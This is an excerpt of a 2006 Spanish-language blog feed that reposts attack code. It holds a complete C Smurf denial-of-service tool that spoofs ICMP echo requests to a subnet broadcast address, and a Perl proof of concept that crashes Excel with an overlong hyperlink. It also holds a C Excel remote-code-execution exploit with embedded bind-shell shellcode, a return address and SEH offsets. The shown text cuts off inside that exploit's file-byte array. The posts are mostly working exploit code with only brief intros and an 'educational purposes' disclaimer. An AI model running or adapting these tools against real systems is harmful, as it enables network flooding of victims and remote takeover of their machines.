comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=115126168056549665' title='9 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115126168056549665'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115126168056549665'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2006/06/bloqueo-de-ip-s-molestas.html' title='Bloqueo de IP&apos; s “Molestas”'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-115109065848872028</id><published>2006-06-23T21:22:00.000+02:00</published><updated>2006-06-29T00:19:07.216+02:00</updated><title type='text'>El ataque de los pitufos</title><content type='html'>Aunque hoy en día este ataque de DoS está en desuso, ilustra el uso de raw sockets para construir un paquete modificado spoofeando la IP de origen.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;table class="MsoTableGrid" style="border: medium none ; background: rgb(224, 224, 224) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; border-collapse: collapse; width: 100%; height: 100px;" border="1" cellpadding="0" cellspacing="0"&gt;&lt;br /&gt;&lt;tbody&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 432.2pt;" valign="top" width="100%"&gt;&lt;br /&gt;&lt;br /&gt;/*******************************************************************&lt;br /&gt;Autor: skarvin&lt;br /&gt;e-mail: skarvin@gmail.com&lt;br /&gt;&lt;br /&gt;Este ataque realiza un ping con la ip de la victima a la direccion&lt;br /&gt;ip de broadcast de su misma subred, con lo cual todos los ordenadores&lt;br /&gt;de la red responderan a la vÃ­ctima&lt;br /&gt;********************************************************************/&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;#include &amp;lt;netinet/ip.h&amp;gt;&lt;br /&gt;#include &amp;lt;netinet/ip_icmp.h&amp;gt;&lt;br /&gt;#include &amp;lt;net/ethernet.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/time.h&amp;gt;&lt;br /&gt;#include &amp;lt;malloc.h&amp;gt;&lt;br /&gt;#include &amp;lt;ctype.h&amp;gt;&lt;br /&gt;#include &amp;lt;net/if.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/ioctl.h&amp;gt;&lt;br /&gt;#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;&lt;br /&gt;u_long get_ipbcast(char *);&lt;br /&gt;unsigned short in_cksum(unsigned short * , int );&lt;br /&gt;int send_icmp_packet(unsigned long , unsigned long , char * , int, int);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv){&lt;br /&gt;struct in_addr in_s,in_d;/*source,dest*/&lt;br /&gt;char ip[28];&lt;br /&gt;int n_pkts;&lt;br /&gt;&lt;br /&gt;if(argc != 3){&lt;br /&gt;printf("usage: %s victima num_pkts\n",argv[0]);&lt;br /&gt;exit(EXIT_FAILURE);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*procedemos a verificar la ip introducida*/&lt;br /&gt;if(inet_addr(argv[1])==INADDR_NONE){&lt;br /&gt;printf("DirecciÃ³n IP incorrecta!");&lt;br /&gt;exit(EXIT_FAILURE);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;in_d.s_addr = get_ipbcast("eth0");&lt;br /&gt;strcpy(ip,(char *)inet_ntoa(in_d));&lt;br /&gt;n_pkts=atoi(argv[2]);&lt;br /&gt;inet_aton(argv[1], &amp;in_s);&lt;br /&gt;&lt;br /&gt;printf("Enviando %d paquetes a la direcciÃ³n de broadcast %s desde %s\n\n",n_pkts,ip,argv[1]);&lt;br /&gt;&lt;br /&gt;/*enviamos los paquetes con solicitud de eco a la ip de broadcast*/&lt;br /&gt;for(;n_pkts&amp;gt;0;n_pkts--)&lt;br /&gt;send_icmp_packet(in_d.s_addr,in_s.s_addr," ",sizeof(" "), ICMP_ECHO);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;u_long get_ipbcast(char *iface) {&lt;br /&gt;/*Esta funciÃ³n devuelve la direcciÃ³n de broadcast de la ip*/&lt;br /&gt;int sd;&lt;br /&gt;struct ifreq ifr;&lt;br /&gt;struct in_addr inaddr;&lt;br /&gt;&lt;br /&gt;if((sd=socket(AF_INET,SOCK_DGRAM,0))&amp;lt;0) {&lt;br /&gt; perror("socket");&lt;br /&gt; return 0;&lt;br /&gt;}&lt;br /&gt;bcopy(iface,ifr.ifr_name,IFNAMSIZ);&lt;br /&gt;if(ioctl(sd,SIOCGIFBRDADDR,&amp;ifr)&amp;lt;0) {&lt;br /&gt; perror("ioctl(SIOCGIFADDR)");&lt;br /&gt; return 0;&lt;br /&gt;}&lt;br /&gt;bcopy(&amp;ifr.ifr_broadaddr.sa_data[2],&amp;amp;inaddr,sizeof(struct in_addr));&lt;br /&gt;close(sd);&lt;br /&gt;return inaddr.s_addr;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;int send_icmp_packet(unsigned long dst_ip, unsigned long src_ip,&lt;br /&gt;char * data, int data_size ,int icmp_type){&lt;br /&gt;&lt;br /&gt;/* socket */&lt;br /&gt;int sock;&lt;br /&gt;&lt;br /&gt;/* Longitud de un paquete ICMP */&lt;br /&gt;unsigned int buffer_size =&lt;br /&gt;sizeof(struct iphdr) + sizeof(struct icmphdr) + data_size;&lt;br /&gt;&lt;br /&gt;/* Paquete capaz con capacidad para un paquete ICMP */&lt;br /&gt;unsigned char buffer[buffer_size];&lt;br /&gt;memset(buffer, 0, buffer_size);&lt;br /&gt;&lt;br /&gt;/* Cabecera IP */&lt;br /&gt;struct iphdr *ip = (struct iphdr *)buffer;&lt;br /&gt;&lt;br /&gt;/* Cabecera ICMP */&lt;br /&gt;struct icmphdr *icmp = (struct icmphdr *)(buffer + sizeof(struct iphdr));&lt;br /&gt;&lt;br /&gt;/* Datos */&lt;br /&gt;char *p_data = (buffer + sizeof(struct iphdr) + sizeof(struct icmphdr));&lt;br /&gt;mempcpy (p_data, data, data_size);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* CreaciÃƒÂ³n del socket */&lt;br /&gt;if ((sock = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP)) == -1) {&lt;br /&gt;&lt;br /&gt; perror("socket()");&lt;br /&gt; exit(EXIT_FAILURE);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* Establece las opciones del socket */&lt;br /&gt;int o = 1;&lt;br /&gt;if( setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&amp;o,sizeof(o)) == -1 ) {&lt;br /&gt;&lt;br /&gt; perror("setsockopt()");&lt;br /&gt; exit(EXIT_FAILURE);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* Rellena la cabecera IP */&lt;br /&gt;ip-&amp;gt;version = 4;&lt;br /&gt;ip-&amp;gt;ihl = 5;&lt;br /&gt;ip-&amp;gt;id = htons(1234);&lt;br /&gt;ip-&amp;gt;saddr = src_ip;&lt;br /&gt;ip-&amp;gt;daddr = dst_ip;&lt;br /&gt;ip-&amp;gt;ttl = 255;&lt;br /&gt;ip-&amp;gt;protocol = IPPROTO_ICMP;&lt;br /&gt;ip-&amp;gt;tot_len = buffer_size;&lt;br /&gt;ip-&amp;gt;check = in_cksum((u_short *)ip, sizeof(struct iphdr));&lt;br /&gt;&lt;br /&gt;/* Rellena la cabecera ICMP */&lt;br /&gt;icmp-&amp;gt;type = icmp_type;&lt;br /&gt;icmp-&amp;gt;code = 0;&lt;br /&gt;icmp-&amp;gt;checksum = in_cksum((u_short *)icmp, sizeof(struct icmphdr)+data_size);;&lt;br /&gt;&lt;br /&gt;/* Rellena la estructura sockaddr_in */&lt;br /&gt;struct sockaddr_in addr;&lt;br /&gt;addr.sin_family = AF_INET;&lt;br /&gt;&lt;br /&gt;/* EnvÃƒÂ­o del paquete */&lt;br /&gt;if ((sendto(sock, buffer, buffer_size, 0, (struct sockaddr*)&amp;addr,&lt;br /&gt;             sizeof(struct sockaddr_in))) == -1 ) {&lt;br /&gt;&lt;br /&gt; perror("send()");&lt;br /&gt; exit(EXIT_FAILURE);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;/*Funcion que calcula el checksum de un paquete&lt;br /&gt;CÃ³digo obrenido de http://www.w00w00.org/files/misc/spoof.c*/&lt;br /&gt;unsigned short in_cksum(unsigned short *addr, int len)&lt;br /&gt;{&lt;br /&gt;register int nleft  = len;&lt;br /&gt;register u_short *w = addr;&lt;br /&gt;register int sum    = 0;&lt;br /&gt;u_short answer      = 0;&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;* Our algorithm is simple, using a 32 bit accumulator (sum), we add&lt;br /&gt;* sequential 16 bit words to it, and at the end, fold back all the&lt;br /&gt;* carry bits from the top 16 bits into the lower 16 bits.&lt;br /&gt;*/&lt;br /&gt;while (nleft &amp;gt; 1)  {&lt;br /&gt; sum   += *w++;&lt;br /&gt; nleft -= 2;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* mop up an odd byte, if necessary */&lt;br /&gt;if (nleft == 1) {&lt;br /&gt; *(u_char *)(&amp;answer) = *(u_char *)w ;&lt;br /&gt; sum += answer;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* add back carry outs from top 16 bits to low 16 bits        */&lt;br /&gt;sum    = (sum &amp;gt;&gt; 16) + (sum &amp; 0xffff); /* add hi 16 to low 16 */&lt;br /&gt;sum   += (sum &amp;gt;&gt; 16);                  /* add carry           */&lt;br /&gt;answer = ~sum;                         /* truncate to 16 bits */&lt;br /&gt;return(answer);&lt;br /&gt;}&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-115109065848872028?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/115109065848872028/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=115109065848872028' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115109065848872028'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115109065848872028'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2006/06/el-ataque-de-los-pitufos.html' title='El ataque de los pitufos'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-115100380924654038</id><published>2006-06-22T21:16:00.000+02:00</published><updated>2006-06-22T21:17:59.180+02:00</updated><title type='text'>Prueba de concepto: MS Excel Remote Code Execution Exploit</title><content type='html'>&lt;p class="MsoNormal"&gt;En este script en perl, se demuestra donde radica la vulnerabilidad, parece ser que la librería hlink.dll no procesa correctamente los hipervínculos, por lo que un usuario podría crear un link especialmente creado para ejecutar código arbitrario.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;En el script de abajo se muestra dicha vulnerabilidad.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;table class="MsoTableGrid" style="border: medium none ; background: rgb(230, 230, 230) none repeat scroll 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 432.2pt;" valign="top" width="576"&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;###############################&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;#   excelsexywarez.pl&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;# excel   unicode overflow poc&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;# by   kcope in 2006&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;# thanks   to revoguard and alex&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;###############################&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;use   Spreadsheet::WriteExcel;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;my   $workbook = Spreadsheet::WriteExcel-&gt;new("FUCK.xls");&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$worksheet   = $workbook-&gt;add_worksheet();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$format =   $workbook-&gt;add_format();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$format-&gt;set_bold();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$format-&gt;set_color('red');&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$format-&gt;set_align('center');&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$col =   $row = 5;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$worksheet-&gt;write($row,   $col, "kcope in da house! Click on the link!!!", $format);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$a="AAAAAAAAAAAAAAAAAAAAAA\\"   x 500;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$worksheet-&gt;write_url(0,   0, "$a", "LINK");&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;# milw0rm.com [2006-06-18]&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-115100380924654038?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/115100380924654038/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=115100380924654038' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115100380924654038'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115100380924654038'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2006/06/prueba-de-concepto-ms-excel-remote_22.html' title='Prueba de concepto: MS Excel Remote Code Execution Exploit'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-115100285056253377</id><published>2006-06-22T20:50:00.000+02:00</published><updated>2006-06-23T21:51:12.150+02:00</updated><title type='text'>Prueba de concepto: MS Excel Remote Code Execution Exploit</title><content type='html'>Por fin ha visto la luz la prueba de concepto que explota la vulnerabilidad hasta hoy desconocida y que Microsoft avisaba en la siguiente url:    http://www.microsoft.com/technet/security/advisory/921365.mspx desde el 19 de Junio, de los ficheros con extension .xls (Microsoft Excel).&lt;br /&gt;Su autor es “Naveed Afzal”.&lt;br /&gt;&lt;br /&gt;En el exploit de más abajo, se genera un fichero de Excel, que al ser ejecutado y clickando en el link, nos permite obtener una shell remota. (Escalofriante)&lt;br /&gt;&lt;br /&gt;PD: Tal y como se especifica en los comentarios, el exploit es únicamente para fines educativos.&lt;br /&gt;&lt;br /&gt;&lt;table border="2" bordercolor="black" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td bgcolor="lightgrey"&gt;&lt;br /&gt; &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;/*----------------------------&lt;wbr&gt;------------------------------&lt;wbr&gt;-----------&lt;br /&gt; *&lt;br /&gt; *      Microsoft Excel Remote Code Execution Proof Of Concept.&lt;br /&gt; *      Tested against : Excel 2000 on Win XP SP1 , and Win2000 SP4&lt;br /&gt; *      Description:&lt;br /&gt; *              Microsoft Excel is prone to a remote code execution issue&lt;br /&gt; *              which may be triggered when a malformed Excel document is opened.&lt;br /&gt; *              The issue is due to an error in Excel while handling malformed URL&lt;br /&gt; *              strings. there may be other ways to trigger this vulnerability,&lt;br /&gt; *              successful exploitation could allow an attacker to execute&lt;br /&gt; *              arbitrary code with the privileges of the user running Excel.&lt;br /&gt; *&lt;br /&gt; *              Code execution is dependent upon certain factors including the&lt;br /&gt; *              overflow condition, the MS Excel version and the host OS and SP.&lt;br /&gt; *              If you cannot get it to work, attach it with the debugger check&lt;br /&gt; *              the stack layout and the rest is on your imagination. :) :)&lt;br /&gt; *&lt;br /&gt; *              Compile with MS VC++ or g++ ,it will generate the Excel file&lt;br /&gt; *              Clicking the link in the file binds the shell ,&lt;br /&gt; *              C:\nc localhost 4444&lt;br /&gt; *&lt;br /&gt; *      Advisories:&lt;br /&gt; *              &lt;/span&gt;&lt;a href="http://www.microsoft.com/technet/security/advisory/921365.mspx" target="_blank" onclick="return top.js.OpenExtLink(window,event,this)"&gt;&lt;span style="" lang="EN-GB"&gt;http://www.microsoft.com&lt;wbr&gt;/technet/security/advisory&lt;wbr&gt;/921365.mspx&lt;/span&gt;&lt;/a&gt;&lt;span style="" lang="EN-GB"&gt;&lt;br /&gt; *              &lt;/span&gt;&lt;a href="http://www.securityfocus.com/bid/18422/" target="_blank" onclick="return top.js.OpenExtLink(window,event,this)"&gt;&lt;span style="" lang="EN-GB"&gt;http://www.securityfocus.com&lt;wbr&gt;/bid/18422/&lt;/span&gt;&lt;/a&gt;&lt;span style="" lang="EN-GB"&gt;&lt;br /&gt; *&lt;br /&gt; *      Disclaimer:&lt;br /&gt; *              This Proof of concept code is for educational purposes only.&lt;br /&gt; *      Please do not use it against any system without authorization..&lt;br /&gt; *&lt;br /&gt; *      Greetings:&lt;br /&gt; *              To all Pakistani Hackers and "script kiddies" :O :O :O&lt;br /&gt; *              Special thanks to salman bro.&lt;br /&gt; *&lt;br /&gt; *      --//&lt;br /&gt; *              naveed afzal&lt;br /&gt; *-----------------------------&lt;wbr&gt;------------------------------&lt;wbr&gt;---------------*/&lt;br /&gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#include &amp;lt;fstream.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;unsigned char ret_address[]="\x77\xF5\x76&lt;wbr&gt;\xDE";  // WinXP SP1(english)&lt;br /&gt;pop/pop/ret in NTDLL.DLL&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;//unsigned char ret_address[]="\x77\xF9\x2A&lt;wbr&gt;\x9B";  // Win2K&lt;br /&gt;SP4(english) jmp ebx&lt;br /&gt;&lt;br /&gt;int seh_off = 4855;             //SEH offset from the start of our buffer&lt;br /&gt;                                               //For win2k it maybe +24&lt;br /&gt;                                               //Check it in your debugger&lt;br /&gt;&lt;br /&gt;int buff_size = 0x152E; //approximate your buffer size to fill the&lt;br /&gt;stack beyond SEH&lt;br /&gt;                                               //it is variant for different Excel versions&lt;br /&gt;                                               //so again consult your debugger&lt;br /&gt;&lt;br /&gt;// win32_bind - Shellcode , port = 4444 , thanks to &lt;/span&gt;&lt;a href="http://metasploit.com/" target="_blank" onclick="return top.js.OpenExtLink(window,event,this)"&gt;&lt;span style="" lang="EN-GB"&gt;http://metasploit.com&lt;/span&gt;&lt;/a&gt;&lt;span style="" lang="EN-GB"&gt;&lt;br /&gt;unsigned char shellcode[] =&lt;br /&gt;"\xd9\xee\xd9\x74\x24\xf4\x5b&lt;wbr&gt;\x31\xc9\xb1\x5e\x81\x73\x17&lt;wbr&gt;\x4f\x85"&lt;br /&gt;"\x2f\x98\x83\xeb\xfc\xe2\xf4&lt;wbr&gt;\xb3\x6d\x79\x98\x4f\x85\x7c&lt;wbr&gt;\xcd\x19"&lt;br /&gt;"\xd2\xa4\xf4\x6b\x9d\xa4\xdd&lt;wbr&gt;\x73\x0e\x7b\x9d\x37\x84\xc5&lt;wbr&gt;\x13\x05"&lt;br /&gt;"\x9d\xa4\xc2\x6f\x84\xc4\x7b&lt;wbr&gt;\x7d\xcc\xa4\xac\xc4\x84\xc1&lt;wbr&gt;\xa9\xb0"&lt;br /&gt;"\x79\x1e\x58\xe3\xbd\xcf\xec&lt;wbr&gt;\x48\x44\xe0\x95\x4e\x42\xc4&lt;wbr&gt;\x6a\x74"&lt;br /&gt;"\xf9\x0b\x8c\x3a\x64\xa4\xc2&lt;wbr&gt;\x6b\x84\xc4\xfe\xc4\x89\x64&lt;wbr&gt;\x13\x15"&lt;br /&gt;"\x99\x2e\x73\xc4\x81\xa4\x99&lt;wbr&gt;\xa7\x6e\x2d\xa9\x8f\xda\x71&lt;wbr&gt;\xc5\x14"&lt;br /&gt;"\x47\x27\x98\x11\xef\x1f\xc1&lt;wbr&gt;\x2b\x0e\x36\x13\x14\x89\xa4&lt;wbr&gt;\xc3\x53"&lt;br /&gt;"\x0e\x34\x13\x14\x8d\x7c\xf0&lt;wbr&gt;\xc1\xcb\x21\x74\xb0\x53\xa6&lt;wbr&gt;\x5f\xce"&lt;br /&gt;"\x69\x2f\x99\x4f\x85\x78\xce&lt;wbr&gt;\x1c\x0c\xca\x70\x68\x85\x2f&lt;wbr&gt;\x98\xdf"&lt;br /&gt;"\x84\x2f\x98\xf9\x9c\x37\x7f&lt;wbr&gt;\xeb\x9c\x5f\x71\xaa\xcc\xa9&lt;wbr&gt;\xd1\xeb"&lt;br /&gt;"\x9f\x5f\x5f\xeb\x28\x01\x71&lt;wbr&gt;\x96\x8c\xda\x35\x84\x68\xd3&lt;wbr&gt;\xa3\x18"&lt;br /&gt;"\xd6\x1d\xc7\x7c\xb7\x2f\xc3&lt;wbr&gt;\xc2\xce\x0f\xc9\xb0\x52\xa6&lt;wbr&gt;\x47\xc6"&lt;br /&gt;"\x46\xa2\xed\x5b\xef\x28\xc1&lt;wbr&gt;\x1e\xd6\xd0\xac\xc0\x7a\x7a&lt;wbr&gt;\x9c\x16"&lt;br /&gt;"\x0c\x2b\x16\xad\x77\x04\xbf&lt;wbr&gt;\x1b\x7a\x18\x67\x1a\xb5\x1e&lt;wbr&gt;\x58\x1f"&lt;br /&gt;"\xd5\x7f\xc8\x0f\xd5\x6f\xc8&lt;wbr&gt;\xb0\xd0\x03\x11\x88\xb4\xf4&lt;wbr&gt;\xcb\x1c"&lt;br /&gt;"\xed\x2d\x98\x5e\xd9\xa6\x78&lt;wbr&gt;\x25\x95\x7f\xcf\xb0\xd0\x0b&lt;wbr&gt;\xcb\x18"&lt;br /&gt;"\x7a\x7a\xb0\x1c\xd1\x78\x67&lt;wbr&gt;\x1a\xa5\xa6\x5f\x27\xc6\x62&lt;wbr&gt;\xdc\x4f"&lt;br /&gt;"\x0c\xcc\x1f\xb5\xb4\xef\x15&lt;wbr&gt;\x33\xa1\x83\xf2\x5a\xdc\xdc&lt;wbr&gt;\x33\xc8"&lt;br /&gt;"\x7f\xac\x74\x1b\x43\x6b\xbc&lt;wbr&gt;\x5f\xc1\x49\x5f\x0b\xa1\x13&lt;wbr&gt;\x99\x4e"&lt;br /&gt;"\x0c\x53\xbc\x07\x0c\x53\xbc&lt;wbr&gt;\x03\x0c\x53\xbc\x1f\x08\x6b&lt;wbr&gt;\xbc\x5f"&lt;br /&gt;"\xd1\x7f\xc9\x1e\xd4\x6e\xc9&lt;wbr&gt;\x06\xd4\x7e\xcb\x1e\x7a\x5a&lt;wbr&gt;\x98\x27"&lt;br /&gt;"\xf7\xd1\x2b\x59\x7a\x7a\x9c&lt;wbr&gt;\xb0\x55\xa6\x7e\xb0\xf0\x2f&lt;wbr&gt;\xf0\xe2"&lt;br /&gt;"\x5c\x2a\x56\xb0\xd0\x2b\x11&lt;wbr&gt;\x8c\xef\xd0\x67\x79\x7a\xfc&lt;wbr&gt;\x67\x3a"&lt;br /&gt;"\x85\x47\x68\xc5\x81\x70\x67&lt;wbr&gt;\x1a\x81\x1e\x43\x1c\x7a\xff&lt;wbr&gt;\x98";&lt;br /&gt;&lt;br /&gt;//excel sheet formatting data bytes&lt;br /&gt;&lt;br /&gt;unsigned char stream1[] = {&lt;br /&gt;       0xD0, 0xCF, 0x11, 0xE0, 0xA1, 0xB1, 0x1A, 0xE1, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x03,&lt;br /&gt;0x00, 0xFE, 0xFF, 0x09, 0x00,&lt;br /&gt;       0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x01, 0x00, 0x00, 0x00,&lt;br /&gt;       0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,&lt;br /&gt;0x00, 0xFE, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0xFE, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x0F, 0x00, 0x00, 0x00,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br 